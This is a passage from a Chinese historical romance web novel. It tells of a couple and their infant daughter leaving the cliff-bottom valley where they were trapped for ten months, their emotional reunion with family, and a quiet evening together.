几乎一夜未眠,她的状态也不大好。走到这会儿,她已经很累了,只靠着他撑在腰间的力道,才顺顺当当地走到这里来。 若非中途苏琯璋实在心疼宣槿妤,背着她走了小半个时辰,她估计早就走不动了。 但宣槿妤看着苏琯璋背着一个、抱着一个,还要爬山涉水,心里也不好受,便坚持下地自己走。 如此,也已经近乎到了宣槿妤的极限。 听到苏十二在外面,她精神一振,疲惫的面上露出一个和煦的笑来。 他们终于要出去了,离开这困了他们将近十个月的崖底。 不止是苏十二。等到他们穿过树林,走到外面的山路上时,便听得声势浩大的一声,“恭迎公子、少夫人出山。” 这样大的动静,惹得附近的村民们悄悄开了院门,探出头来悄悄观望。而后见到一对神仙眷侣从山里走出来,手里还抱着一个笑得甜美的小仙童。 “神仙下凡了。”老婆子对老头子说道。 苏琯璋、宣槿妤完全走出了这座山。 见苏十二、苏十三站在前边,领着一众暗卫和侍卫们朝二人行礼,只觉恍如隔世。 “起来罢!”苏琯璋道。 一行人浩浩荡荡地往山脚下停放马车的山道走去。 路上,苏十二道:“公子,老夫人和夫人也来了,就在外面。” 苏琯璋点点头,朝宣槿妤蹲下身子,“槿妤,上来罢!” 想着不好让祖母和婆母多等,加上她也确实太累了,宣槿妤便没再拒绝,趴上他宽厚的背。 苏十二自觉地坠在后头,不去看女主子。 苏十三领着女暗卫们跟上了苏琯璋,遮住了宣槿妤的身影。 她本还想接过主子怀中的小小姐,但岚姐儿只看了她一眼,便窝回父亲怀里,显然是拒绝她的抱。 苏十三只对她温和地笑了笑,便识趣地退到后头。 宣槿妤嫁入苏家后,苏十三便被苏琯璋派到她身边以作保护,但她以前也是跟着苏琯璋的。 岚姐儿扫过来的那一眼,清透的双眸不含任何情绪,但和苏琯璋平日里冷冷淡淡地看着他们的眼神是一模一样的。 苏十三心里欢喜,主子和女主子之间也有孩子了。 这是他们的小主子。 第94章 第94章她当初听的时候,还觉得…… 苏琯璋脚步很快,但走在崎岖的山道上却十分平稳,岚姐儿在他怀里乐得咯咯笑个不停。 宣槿妤将头靠在苏琯璋肩上,近距离看着女儿的小脸、听着她的笑声,眉眼间的疲惫也在不知不觉间散去。 婴孩奶声奶气的笑声传到马车旁,苏老夫人一怔。 许玉娘下意识往前走了两步,又想起苏老夫人,匆匆回头,“娘,我好像听到他们的声音了。” 方才暗卫已经向他们禀告苏琯璋他们一家三口出山之事,她们才走到这山道尽头来等他们。 苏老夫人忙不迭点头,激动得手都在颤抖,“应当是他们。” 她擦了擦眼角,“那个孩子,是岚姐儿罢?” 方才的擦拭并没有用,苏老夫人眼中的泪还是忍不住滚落下来,她声音里也染上了哽咽。 许玉娘眼圈也红了,“应该是。” 肯定是了! 正想着,山道拐角处不断有熟悉的暗卫身影出现,而后纷纷向两旁山壁避让。 苏老夫人、许玉娘似有所感,紧紧地盯着那头。 很快,一道让她们朝思暮想的身影出现在眼前。 不,不是一道。 而是三道。 苏老夫人和许玉娘怔怔地看着苏琯璋背着一个、抱着一个,快步朝她们走来。 她们已经不知该作何反应,只呆愣愣地站在原地,一会儿看看苏琯璋,一会儿又看看他背上的宣槿妤,最后视线定格在那个正笑得甜甜蜜蜜的小娃娃身上。 那是…… 岚姐儿。 苏琯璋已经走到祖母和母亲面前,放下宣槿妤,“祖母,母亲。”他唤道,声音低沉,眼圈也微红。 想说他们回来了,但他们一直在淮招县。想说他们出来了,但好似又有些奇怪,索性什么也不说。 宣槿妤也走到苏琯璋身边,“祖母,母亲。”她跟着唤人,和两位夫人一样,泪如泉涌。 “诶,诶!”苏老夫人和许玉娘强连声应道,终究忍不住,也再顾不得其他,一人抱住一个,痛哭起来。 声音似喜似悲,更多的是庆幸。知道内情的、不知其中缘由的,都道是一家子险些生离死别后的久别重逢。 山腰上,老婆子靠在开着一条缝隙的院门上,捂着脸,跟着无声地哭了起来。 老头 子有些无奈,“人家哭也就罢了,你哭个什么劲儿?” “你懂什么?”老婆子边哭边骂道:“快一年了,你看他们终于找着人了,多感人啊!” 他们住这山腰上,几乎是日日看着那些人日出而来日落而归,从不懈怠。他们好心劝了多少次,都说掉进那崖底的人没有活着的,也不会出来。 但人家不放弃,他们瞧着也心酸。 便因着这个,淮招县百姓们联合起来抵制宅子里的人的时候,他们夫妻俩怎么也不愿意加入——良心上过意不去。 如今可好,掉进里面的人居然活着出来了,还带着一个小娃娃。 这不是天降神恩是什么? “肯定是神仙下凡。”老婆子最后说道,抹了一把眼泪。 老头子似乎也像是被她说动了,靠在墙上,“是是是,你说的都对。” 这态度、这话,就不像是被说动的样子。 隐在暗处的侍卫们多看了一眼这老夫妻俩。 日日相见,彼此间都是老熟人了,侍卫们都大概知道这对老夫妻是什么样的性子。 老头子更像是怕老婆子再骂他,才装作一副被说动的模样。 但他们好像猜错了。 往山道下走时,耳力不凡的众侍卫们都听见了老头子在关门前的那句嘀咕:“莫非真是仙神下凡?” 小半刻钟过去,抱成一团的四人还未分开,且哭声还有逐渐变大的趋势。 岚姐儿平日里在崖底只能见到爹爹娘亲两个人,今日出来时倒是见到许多陌生人,眼下还稀奇着。 见两位眼生却和爹爹娘亲抱在一起的人,她歪了歪头,“哇啊啊”地叫了起来。 虽然爹爹还抱着她,但他都好一会儿没理会自己了,岚姐儿有些不大痛快。 稚气的声音终于吸引了正抱头痛哭的几代婆媳的注意力,她们抬起头来,个个泪眼朦胧。 苏琯璋擦了擦眼角,才想起还未向苏老夫人和许玉娘介绍女儿,方才就光顾着抱头痛哭了。“祖母、母亲,这是岚姐儿。”他声音还略带了沙哑之意。 “岚姐儿。”苏老夫人和许玉娘忙手忙脚乱地去擦眼泪,想对孩子笑笑,奈何眼睛都哭红了,挤出来的笑并不怎么好看。 岚姐儿小手紧紧抓着苏琯璋环着她的那条手臂,凶凶地朝她们“啊”了一声。 苏老夫人和许玉娘全然没觉得被重孙女/孙女冒犯到,只觉心都要化了,这下当真真心实意地笑了起来。 “乖孩子。”她们说道。 宣槿妤被苏琯璋揽着腰,面上泪痕未干,却已经露出个明艳的笑来,“祖母、母亲,你们要抱抱她吗?” 婆媳俩忙不迭应声,“要。” 苏老夫人已经伸出了手,但想想又放下了。她方才情绪过于激动,眼下心跳也比往常快了许多,她担心将孩子摔了。 “玉娘,你来罢!”苏老夫人和许玉娘说着话,眼睛却紧紧盯着岚姐儿。 许玉娘“诶”了一声,忙朝岚姐儿伸出手,“岚姐儿,我是你祖母。来,祖母抱抱你?”她柔声问道。 岚姐儿盯着她看了许久,认出她是方才抱着自己娘亲的人,便扭头去看苏琯璋。 苏琯璋摸了摸她的头,将她往许玉娘的方向递了递,“岚姐儿,这是你祖母。给祖母抱抱,嗯?” 这声音…… 苏老夫人和许玉娘再是压抑不住心里的激动,也被他激起一身的鸡皮疙瘩,险些打了个激灵。 苏琯璋:“……” 宣槿妤“噗嗤”笑了。 她这几个月已经习惯了苏琯璋变化颇多的嗓音,但祖母和婆母她们的印象还停留在十个月之前,以为她们的孙子/儿子还是那样一副清冷的腔调。 乍一听他如今变得清和温润的嗓音,便有些不适应了。 也是,她当初听的时候,还觉得他是刻意掐着嗓子在说话,好生适应了几天才习惯了。 她一笑,所有人的视线便都齐齐看向她。 宣槿妤只笑道:“祖母、母亲,岚姐儿出生之后,他性子变了不少。” 她只将苏琯璋变化的原因都推到岚姐儿身上,并不说自己。不是有什么顾虑,苏家人巴不得他们夫妻俩都好好的。 但回到盛京城之后,旁人也终究要打探原因的,总不能让外人知晓他们夫妻之事罢? 让人知道,他们夫妻成婚四年有余,孩子出生前一日才将心事说通,岂不徒惹人笑话? 推到孩子身上便合理多了,也不会引人注目。 毕竟他们夫妻二人被困在崖底近一年,照顾孩子事事亲力亲为。 如此一来,说清冷寡言的苏琯璋在照顾孩子的过程中,逐渐被小小软软的孩子软化,这是世人都很容易接受的事。 苏老夫人和许玉娘对视一眼,都看出了双方眼中的欣慰。 看来这对小夫妻坠崖,也不是全然没有收到好处的。 至少他们才见面这一会儿的功夫,她们就已经看得出来,这对小夫妻感情不仅是融洽,更是甜蜜了许多,还有种旁人插不进去的默契。 岚姐儿见娘亲笑了,自己也咯咯笑了起来,可将苏老夫人和许玉娘看得心痒痒的。 许玉娘双手一直伸着,看孙女笑得这样甜美可人,嗓音也忍不住柔和得不能再柔和,“岚姐儿,给祖母抱抱,嗯?”她学着方才苏琯璋的话。 宣槿妤也摸了摸岚姐儿的头,“好岚姐儿,给祖母抱抱。” 岚姐儿回看了娘亲一眼,这才转过头,小身子朝着许玉娘的双手倾去。 苏琯璋手一递,许玉娘手一伸,母子俩十分默契地完成了孩子的交接。 “岚姐儿,祖母终于见到你了。”许玉娘满足地叹息,掂了掂岚姐儿的小身子,顿时有些惊讶地看向宣槿妤,“这孩子养得真好。” 怪沉手的。 虽然苏琯璋每个月都会将岚姐儿的小像送到宅子里,他们也能从小像中孩子的变化,猜想着岚姐儿究竟长到什么程度了。 但想象终究不能和亲眼所见、亲手感受相比,那种发自内心的触动,是无论如何也不能被取代的。 “辛苦你了。”许玉娘对宣槿妤说道。 宣槿妤本因睡眠不足引起的苍白面色,一下子变得绯红,应也不是,不应也不是。 毕竟,她们都知道,岚姐儿先前都是靠着她的奶水长大的。 苏琯璋低头看她,笑了笑,对母亲说道:“岚姐儿最近食量不错,肉泥和鱼肉泥她最喜欢吃。” 算是变相地替宣槿妤解围了。 周遭人多,许玉娘也没说什么,只开开心心地握着孙女儿的小手。 “是要多吃些。再大一点,到了十个月,就可以不用捣成泥了,直接吃点碎肉、软饭等等,还能长得更快些。”许玉娘说道,是接着苏琯璋的话往下讲的。 宣槿妤松了口气。 她可不想在这么多人面前讨论她的奶水问题。 幸好苏琯璋和许玉娘的反应都很快。 日头渐渐大了起来,苏琯璋一手揽在宣槿妤腰间不放,伸出另一只手去扶苏老夫人。 “时候不早了,我们先回宅子里罢!”他说。 平日里便是苏声在的时候,也多听他这个幼子的话,何况苏老夫人和许玉娘。这次执意不听他信上所言,来这里接人,也是少有的事了。 他一出声,二人便点了头。 隔着苏琯璋,苏老夫人握住宣槿妤的手,笑得慈爱,“好孩子,昨晚是不是没休息好?祖母见你脸色有些差。” 方才见苏琯璋背着人过来时她就想说了,只是见她下地时如常,便知可能只是累着了。 他们都说了好一会儿话了,宣槿妤却只是方才羞赧的时候脸上才有了些微的血色,便一直是苍白的,苏老夫人才忍不住问出声来。 第95章 第95章要长牙了罢? 宣槿妤点点头,对她羞涩一笑,“祖母,我们昨日知道能出来了,可高兴了。哪里睡得着?” 好久没听幼孙媳撒娇了,苏老夫人心里一热,眼眶又有泪要涌出,忙低头去擦了。 “那稍后可要歇息一会儿。”她拍了 拍宣槿妤的手。 闻言,沉迷抱孙女的许玉娘也回过头,接了腔,“这里回宅子也要一个时辰,槿妤,你待会儿就在马车上睡罢!山道颠簸,让璋小子抱着你。”反正这一套在宣槿妤孕中时二人就已经十分熟练了。 “岚姐儿我和你们祖母照看就好。”许玉娘补充道。 于是,回城时,宣槿妤果真被苏老夫人和许玉娘压着在马车上睡了一觉。岚姐儿饿了想要去拱娘亲要喝奶时,也被阻止了。 许玉娘将她早起时做的肉泥拿了出来,十分熟练地在铜炉上煮沸。 担心吵醒宣槿妤,她压低了声音,对苏琯璋解释道:“担心天热坏了,我用冰镇着。” “岚姐儿能吃的罢?”将小碗放在凉水上降温时,许玉娘犹有些不放心。 有些婴孩的肠胃比较脆弱,被冰镇过的食物,便是重新煮沸过,吃了也会闹肚子。 她担心小孙女也会这样。 那便得将睡得正好的宣槿妤弄醒来喂奶了。 苏琯璋不知道许玉娘是这样想的。 若是知道,只怕也不大好意思和母亲解释,说岚姐儿还要喝夜奶的时候,夜里根本不必将宣槿妤叫醒,他自己就可以解开她的衣襟让女儿喝。 此时苏琯璋伸手摸了摸小碗的温度,将它端了起来,听到许玉娘的问话,点了点头,“可以吃。” 岚姐儿自出生以来,身子就十分健康。 仅有一次例外。 冬日雪花最大的那一次,冰雪封了山洞,山壁后边的温泉余热没能将渗进山洞里的严寒驱散。 那一晚岚姐儿踢翻了小被子,而苏琯璋又晚了一步给她盖好,翌日她便感染了风寒。 不过因着岚姐儿那时是和爹娘一起睡在石床上,有源源不断的温热之气从石床上传递到睡在上面的人身上,她的风寒症状并不严重。 而其余时候,岚姐儿就没生过病。 在吃食上面她更是不挑,虽然喜欢吃肉泥、鱼肉泥,但给她吃蔬菜泥、米糊糊等,她也都来之不拒,开开心心地吃了。 “那就好。”许玉娘放心了。 宣槿妤一觉醒来时,发现自己正睡在一张陌生的床上。 “醒了?”苏琯璋担心她醒来不适应,将她抱进来之后一直没离开,见她睁开眼睛,轻声道:“这里是三哥之前买的那座宅子。” 他们所住的这院子,尽管他只是抱宣槿妤进来的时候匆匆看了一眼,便已经知道,这处院子是最大最好的一处。 而且,观院子内外,花草有序、一切干干净净,便知尽管这十个月他们不能回来,这里也有一直被好生打理,绝非昨日才开始整理的。 山外的家人,是一直在等着他们归来。 宣槿妤将头埋在他怀里,“我们去找祖母和母亲她们罢!” 她听到苏琯璋的话,没有伤怀多久,便整理好心情,“我们已经回来了,日后可要好好陪着他们。”她说道。 苏琯璋应了一声,亲了亲她的额头。 午膳的时辰快到了,许玉娘和苏老夫人也带着岚姐儿逛完了整座宅子。 “乖乖岚姐儿,爹爹娘亲很快就来了,别哭了噢!”许玉娘心疼地哄着怀里的小孙女。 方才苏琯璋抱着宣槿妤离开时岚姐儿还没什么,听爹爹的话,乖乖地和曾祖母、祖母玩儿了好一会儿。 可才逛完宅子,她还没见到爹娘,便有些不乐意了 她自出生以来,还没试过这么长时间,爹娘都不在眼皮子底下呢! 岚姐儿委屈极了,眼中盈着一汪泪水,偏不哭出声来,只瘪着小嘴巴,要哭不哭的,可将苏老夫人和许玉娘心疼得不行。 她们念了被困在崖底的宣槿妤和苏琯璋十个月,便也盼着岚姐儿盼了十个月。 如今终于见到、抱到这个小人儿了,竟让她这样伤心,她们哪里舍得。 “祖母带你去找爹爹好不好?”许玉娘一转脚步,已经朝着苏琯璋宣槿妤的院子走去。 她得将儿子叫出来。 但许玉娘和苏老夫人才转身走了几步,便见苏琯璋和宣槿妤也朝着她们走过来了。 见岚姐儿在哭,苏琯璋和宣槿妤说了一声,便加快了脚步。 “岚姐儿,怎么哭了?”他将女儿抱到怀中,拿出随身带着的柔软小帕子替她擦泪,“爹爹不是说要离开一会儿,让你和曾祖母、祖母她们玩儿吗?” 岚姐儿哪里听得懂他的话,便是听得懂,此时也听不进去。 终于见到爹爹,她将小脑袋埋进苏琯璋肩头,小手紧紧抱着他的脖子不放,一副十足依赖的小模样。 “原来璋小子当了爹爹之后,会是这副样子。”许玉娘捂着心口,感受着那里的感动,眼眶忍不住又湿了。 宣槿妤走了过来,挽住她的手,“母亲,可不兴哭。”她笑道。 许玉娘“诶”了一声,“我就是高兴。”她说。 午膳很快被摆上桌来。 苏家人崇尚俭朴,这一顿又只有他们四个大人吃,故而虽然是为了庆祝宣槿妤和苏琯璋从崖底脱困,到底也没有太多铺张。 饭桌上只八菜一汤,四荤四素,且考虑到宣槿妤的身子,饭菜都比较清淡。 “快尝尝。”许玉娘依依不舍地将视线从苏琯璋怀里的岚姐儿身上移开,招呼宣槿妤,“这羊肉还是白隼昨晚送来的,眼下还新鲜着。”她说。 苏老夫人在上首坐了下来,闻言笑道:“这道清蒸排骨也不错,猪还是你们三个哥哥和侍卫们在山里养的呢!” “多吃点鱼,这可是自家池子里养的。” “还有这青菜,可都是我们自己种的,多吃些。” 苏老夫人和许玉娘将几道菜一一介绍过来。 一桌的菜都是些家常菜,和附近较为富庶的百姓家中的饭菜并没什么区别,且烹饪方式不是清蒸便是炖煮。 一看便知,苏家人这近一年的时间里,已经彻底融入了淮招县的生活,哪里还有簪缨世家豪奢的派头。 宣槿妤和苏琯璋听着苏老夫人和许玉娘左一句“自己养的”,右一句“自己种的”,便知道,他们当初的猜测并没有错。 若非被当地百姓们排挤得厉害了,苏家人何至于样样菜肴的食材都要靠自己。菜蔬也就罢了,自己种一种,权当打发时间。 可猪、鱼、鸡、鸭、鹅等这些肉类,都是可以出钱买的,他们又不差那点钱。更何况,再不济,进山打猎也是一个选择呢! 何必都要自己养?三位兄长和侍卫们的时间可不是用在这种地方的! 宣槿妤心酸得厉害,但是又不好露出端倪,怕两位长辈看出来,又回想起那些被人排挤的日子,徒惹伤心。 多好的团聚日子,可不能坏了心情。 更重要的是,近一年来苏家人都守口如瓶;他们也不好说,是宣文晟在信中露了端倪,让他们拼凑出了真相。 苏琯璋没有抱着岚姐儿的那只手本垂放在腿上,此时已经探过去,轻轻地握了握宣槿妤的手,很快就放开。 宣槿妤垂下眼睑,依着一起养孩子而锻炼出来的默契,她瞬间便明白了他的意思。 “可巧,我们在崖底也圈养了羊群。”她若无其事地说道,笑了起来“可见不是一家人,不进一家门。” 这样的俏皮话让气氛顿时便轻松了起来。 说到养羊,苏老夫人和许玉娘顿时便起了些兴致,忙让苏琯璋说说他是怎么养的。 多稀奇! 她们那养了二十多年,像座冰冷玉雕似的孙子/儿子,如今不仅会熟练地带孩子哄孩子,竟连养羊也是个中好手。 她们哪里想得到会有这样一天呢? 苏琯璋无奈地看着自己的祖母和母亲,便是看出了她们眼中的取笑之意,他也只得满足她们的好奇心,简单地说了。 羊群被苏琯璋养在山洞附近、溶洞前边的草地上,后来又建了个羊圈。 而羊圈里的母羊加上小羊,本来有十余只,开春后,怀孕的母羊又生下三只小羊羔。 五月末宣槿妤未出孝期之前,羊肉主要是供白隼吃。 白隼如今已经成年,比去岁还要重上许多,且不知是成年还是贪吃的缘故,它的食量也增长了近乎一倍。 但白隼再怎么能吃,也消耗不了这么多只羊。 到六月宣槿妤和苏琯璋开始恢复了正常饮食,不再忌荤腥之后,羊圈里的羊才慢慢开始减少。 因着不只是他们夫妻俩和白隼一起吃,每次杀羊,苏琯璋还会将一部分羊肉托白隼送到宅子里。 初始时是苏家人和宣文晟他们和崖底的小夫妻俩一起分享羊肉,人数 有点多,每次都要杀上两只羊。 后来苏家人奉旨回京,宣文晟也跟着一起走了,其实每次便只需要杀一只羊便够了。 但苏琯璋每次还照旧杀两只羊,有多余的,便会分给守着宅子的暗卫们,和日日上山、在山外围辛辛苦苦搜寻的侍卫们。 值得一提的是,苏声、苏琯煜他们也跟着搜寻了十余次,确认苏琯璋他们被困的地方确实无法从山外进去之后,便也放弃了这个想法。 侍卫们到后来依旧日日进山,也不只是为了迷惑世人的缘故,而是在山里练兵。 苏琯煜和苏琯文、苏琯武两兄弟分了三批次,和侍卫们一起进山,按着宣家暗卫营训练暗卫的方式训练这些苏家侍卫。 将近一年下来,苏家侍卫们的武力也有了极大的提升,尤其是团队作战方面。 虽然他们依旧比不过日日苦修的暗卫们,但再遇上去岁悬崖上暗杀之事时,他们的伤亡绝对低上许多。 “羊圈里的羊怎么样了?”许玉娘问苏琯璋,她刚替苏老夫人盛了一碗羊肉汤。 羊肉是白隼昨日送过来的,收到时厨房里用冰镇着,今日吃味道倒也没比新鲜的差上多少。 苏琯璋也替许玉娘和宣槿妤盛好了羊肉汤,正在盛自己的那一碗,闻言答道:“羊都已经吃完了,后来再送来的羊都是我当日去山里抓的。” 总共就十多只羊,先是白隼吃,再就两只两只地杀,哪里够他们消耗的。 宣槿妤的奶水一直充足,她又坚持自己喂养岚姐儿;苏琯璋养羊的初衷本就是为了羊奶,圈养的羊吃完了,他便再没养过。 倒是岚姐儿,初时见羊圈里的羊一只都不剩了,还闹腾了许久。后来还是苏琯璋运起轻功,带她体验了一番空中飞翔的乐趣,她才安分下来。 但打那之后,岚姐儿便喜欢上了在父亲怀里飞的感觉。 见到白隼展翅飞走时,她也不羡慕了,只抓着苏琯璋的衣襟,“啊啊啊”地欢快叫着,苏琯璋便知道该如何哄她了。 用完午膳,碗碟盘筷都被撤了下去,但一家子依旧坐在饭厅里。 “哎呦,曾祖母的乖乖重孙女儿,岚姐儿。”苏老夫人抱着孩子不撒手,越看越喜欢。 许玉娘眼巴巴地盯着孙女,注意到她口水在不停地流淌,便耐心地给她擦了又擦。 “要长牙了罢?”许玉娘逗岚姐儿,“乖乖,张嘴给祖母看看。” 第96章 第96章却因着她此时明眸潋滟、…… 爹爹娘亲都在身边,且经过这几个时辰的相处,岚姐儿也和曾祖母、祖母她们俩混熟了。 许玉娘一逗她,她就咧开小嘴笑出声来,露出粉嫩嫩却光秃秃的牙床。 “还没长出来。”苏老夫人已经看到了。 岚姐儿踩着苏老夫人的腿站了起来,稳稳地扶着曾祖母的肩膀,朝着宣槿妤笑了一会儿,又扭头去找她父亲。 “爹,爹~”岚姐儿没看到人,小脑瓜子里尽是疑惑。 方才爹爹还站在这里的。 苏老夫人和许玉娘还是第一次听见岚姐儿叫人,顿时惊喜不已,“乖乖会叫人了?” “昨晚睡下前才学会的,今日出山时便已经可以说得很顺畅。”宣槿妤回答道,有些担心,“祖母,岚姐儿有点重,要不还是我来抱?” 许玉娘也接话,“我来抱也行。” 除了方才刚重逢那会儿和下马车之后的短暂时间,是她在抱岚姐儿;马车上的大部分时间可都是婆母在抱,她都还没抱够她小孙女呢! 苏老夫人看出了长媳的渴望,虽然有些不大好意思,但心里的不舍占了上风,“无事,我还抱得住。”她说。 岚姐儿没找到父亲,鼓了鼓小嘴巴,而后又扭头看宣槿妤。 “嘛嘛嘛~”她近来想要吃东西的时候就会发出这样的声音,像是在催促爹娘。 “她饿了。”宣槿妤说道。 “凉凉凉,娘~”岚姐儿叽里咕噜地叫着人,嘴里不停地念叨着,很快就将“娘”这个字说得十分准确。 宣槿妤欢喜地摸了摸她的头。 她正想接过岚姐儿喂奶,门口有脚步声传来,她回头一看,便见苏琯璋及时从门外走进来,手里端着一碗米糊。 “我来喂。”许玉娘说道。 没抱到人,喂她吃东西也是好的。 苏琯璋便将手中温度适中的米糊递给了母亲。 午后,留在崖底的苏十二带着手下的三名暗卫回来了。 “主子,”苏十二禀告:“您整理好的药材都带回来了,标记了要带走的竹箱子也抬了回来。” 苏琯璋听出他话中端倪,抬眼问他,“可还顺利?” 苏十二摇摇头,语气里带着庆幸,“我们才将几个箱子带走,便眼见着那温泉水漫了上来,不过一刻钟的功夫,那条路便被堵住了。” 幸好主子吩咐带走的几个箱子都搬了出来,他们也没多做停留,否则便会被困在那里。 主子他们被困了将近十个月,万一他们没那么好的运气,被困个一辈子可还得了? 堵住了? 苏琯璋有些惊讶。 山壁后方的那个大坑,便是温泉水重新填满了,只要水性上佳的人,憋气憋个一刻钟,也能如常进出才是。 “怎么回事?”他问。 苏十二组织着语言,“属下也不知,不过听闻水中有异动,像是山石挪动的声音。” “我们怕是山中滚石之类的,便没有多作停留。” 苏十二说道:“等山石挪动声停下来的时候,属下再去看,那个大坑已经不见了。取而代之的,是严实的山石,正面石壁像是严丝合缝。” “属下等人在外围探查了一圈,也没见到一点缝隙。原先的大坑,就这样不见了。” 为免迟则生变,苏十二便没再继续探查下去,而是当机立断,带着手下们抬着竹箱子出了山,找到了隐在暗处等候着他们的马车。 “主子放心,我们出山的时候,村民们都在用饭,没有看到我们抬着竹箱子出来。” 竹箱子虽然被封好,但未免让沿途的村民们多想,再传出些什么风言风语来,便于他们计划无益。 苏琯璋、宣槿妤坠崖后能够活下来已经是奇迹,宣槿妤还能够平安生下岚姐儿更是奇事一桩。 今晨听附近百姓们议论,都道是他们是仙神下凡,或者是有神仙相助,并没想到旁的事上。 更没有联想到白隼的身上——他们好似一直都没有发现这只在山外崖底频繁来往的凶禽。 或许有百姓发现了,但也只以为它是生活在群山之中的,倒也没有多想。 想到这里,苏十二继续说道:“马车先行,属下特意去附近山民家中探了一下消息,他们并未察觉到白隼和崖底的联系。” 如此甚好。 他们已经从崖底脱困,今后毋须白隼再携带大量重物从空中疾行。单只传信的话,便不那么引人注目。 白隼再继续传递消息时,便比暗卫更为快捷且隐蔽些。 苏琯璋沉吟片刻,微微颔首,道:“你们做得很好。辛苦你们了,下去歇着罢!” 闻言,苏十二惊讶地抬头望了他一眼,很快收敛神情,只是退下时,眼中仍有异色残留。 主子他变了,以前他何尝和他们说过什么“做得很好”“辛苦你们了”之类的话? 原先的主子可是清清冷冷的,自己都像是没什么人气的样子,何尝像如今这般,会说这样富有烟火气的话来? 还有,主子身上的清冷之气也散了许多,整个人变得温和而内敛,连笑容也多了。 真是稀奇! 若主子以前也是这样,女主子便不会常大闹荆竹园了。 若非相处多年,他清楚苏琯璋的皮囊没变,而少夫人、夫人和老夫人她们也没有察觉到异样。尤其少夫人,她到底和主子在崖底生活了近十个月。 否则他也会忍不住怀疑,主子芯子是不是换了。 等 到见他一脸恍惚的苏十三听到他的疑问,笑着解释说是因为小小姐的缘故,苏十二才恍然大悟。 日后便是见到苏琯璋熟练地哄孩子,不慎听到他对宣槿妤说情话,苏十二也再没起过“主子是否换了芯子”这样的念头。 宣槿妤想得果真不错,因为孩子的出生,父亲有所变化,世人接受起来,总是比因为夫妻感情变化而引起的,更为容易。 入夜。 岚姐儿今日见了不少人,还有对她十分宠溺的曾祖母、祖母时时关注着她,和她玩儿,简直要乐疯了。 这座清冷了许多时日的宅子里,几乎整日都飘荡着婴孩稚嫩而清脆甜美的笑声,惹得常年冷肃着一张脸的苏家侍卫们、和暗卫们,都不自觉地心情舒畅,眉峰舒展起来。 苏十三今晨还被小小姐拒绝,下午可算是将人抱到了。 在岚姐儿的咿咿呀呀的婴语中,苏十三虽然没有听懂她在说什么,但心血来潮之下运起轻功带着岚姐儿在院子里飞,倒也真合了她的心意。 一场玩闹下来,岚姐儿和她亲近了不少,可将苏十三感动坏了。 也将一心想和重孙女/孙女亲近的苏老夫人和许玉娘的心思勾了起来,二人年纪都不小了,尤其苏老夫人,竟也抱着娃娃施展起轻功来。 将在一旁观看的宣槿妤和一众暗卫、侍卫们都惊得不轻,生怕苏老夫人和夫人出什么意外。 也就岚姐儿兴奋得大叫,手舞足蹈着,“啊啊啊”“呀呀呀”地乱叫,闹腾得很。 “岚姐儿今日可真是玩得尽兴。”苏琯璋抱着熟睡的女儿回房,有些无奈。 宣槿妤刚从湢室出来,身上的水气还未散,正坐在梳妆台前通发。闻言回头笑道:“可不是,那么多人陪她玩儿,可不玩疯了?” 才刚学会爬的小人儿,总想着在天上飞,心也太野了些。 本来见她父亲有事离开,不能时时陪着她,还一脸的不乐意。 但有娘亲陪着,岚姐儿便放心地和众人一起玩闹。谁想,她转头就将她父亲抛之脑后,乐颠颠的,一直让人抱着她飞。 幸好这座宅子里,除了宣槿妤和岚姐儿,余下的人都会轻功,才应付得了她。 不过玩疯了也有玩疯了的好处,便是将她旺盛的精力消磨了。这不,还不到她平日里入睡的时辰,就已经睡得酣甜了。 苏十二和暗卫们从崖底带回来的东西里,有专属于岚姐儿的那张小竹床。 苏琯璋将怀中的女儿轻轻地放在小竹床里,替她盖好了小被子。 安顿好岚姐儿,他便躺回床上,将已经躺在里侧的宣槿妤揽在怀里,和她说起了苏十二今日和他汇报的事情。 “幸好我们及早出来了,不然就得继续被困在那崖底。”苏十二向他禀告时,苏琯璋还十分镇定,此时在宣槿妤面前,才泄露出几分后怕来。 宣槿妤回抱住他,二人的心跳渐渐同频。 秋夜风凉,苏琯璋轻手轻脚地披衣起身,将犹还微微轻喘的宣槿妤抱到湢室。 不一会儿,湢室里哗哗的水声响起,落到睡梦中的岚姐儿耳中,便是一曲助眠曲。 岚姐儿自出生那日起便住在山洞中,她已经习惯了山洞里日夜不停微响着的潺潺水声,此时越发好眠,小脸上带着甜蜜蜜的笑意。 苏琯璋将宣槿妤抱回来时,她的面色越发艳丽,眉眼间还残存着未散去的媚意。 “这会儿倒是觉得,大山洞山壁后方的浴池挺好用。”苏琯璋替宣槿妤穿好中衣,笑着道。 有个浴池,他们想何时沐浴便何时沐浴,便是同浴,也十分方便。而不像是在这座小院子里,湢室的浴桶到底小了些,只险险容纳了两个人。 宣槿妤呼吸才慢慢平缓下来,闻言,想起这人方才是如何孟浪的,不由得瞪了他一眼。 却因着她此时明眸潋滟、含春带水,瞪人的时候便显得软绵绵的,更像是在打情骂俏了。 苏琯璋心念微动,眸色深了些许。 但到底念着她今日劳累,又连着来了两场情事,担心她明日起不来,便压下了欲念。 他重新将方才被放下的话题捡起,“前辈在崖底住了四十多年,不知是没有发现那温泉底下的秘密,还是说,那通道是近些年才形成的。” 宣槿妤头枕在他胸膛上,此时呼吸已经完全平稳下来,也来了兴致,抬头看他,“苏十二是如何说的?” 她方才就听这男人说了一句庆幸的话,还未来得及问呢,就被这人卷入了汹涌的情潮中。 身子的异样还未全褪去,此时想到方才的激烈情事,她嫣红如霞的面色又飘上一抹红,但被原来的红润压下了,苏琯璋倒是没有发觉。 “苏十二说,那山岩大坑被堵住了。”苏琯璋说道,将午后贴身暗卫首领和他禀告的话重复了一遍。 竟是这般凑巧且惊险! 宣槿妤惊得瞪圆了眼睛,双眸显得越发潋滟,“幸好他们没进去。”她说。 若苏十二他们几个暗卫好奇崖底的环境,没及时撤出山洞,想必也要被困在里头。 试想一下,建造小木屋的前辈在崖底被困了四十余年,他是没发现山壁后的温泉吗? 有些不大可能罢? “也有可能是他发现温泉了,但没在意,不然也不会选在远处建一座小木屋。”苏琯璋说道,轻轻地捏着宣槿妤的腰肢,让她酸软的地方慢慢放松下来。 宣槿妤点点头,“不过,从温泉水位下降,到重新灌满,间隔也就两天时间。”她猜测道:“许是时间太短了,前辈又没有时时留意,便没有发现。” 除非前辈是像他们一家三口一样,住在山洞里,不然间隔那么远的距离,住小木屋里的人不会听到这样轻微的动静。 想想就十分可惜。 不过,夫妻俩的猜测,都是基于温泉水位下降是有规律的情况下。实际情况如何,他们也不清楚。 或许,可能还有别的原因。 说不定那温泉水位下降露出干燥大坑,也就他们出来的这一次呢?并不是他们托大,但依着宣槿妤的好运气,也并非不可能。 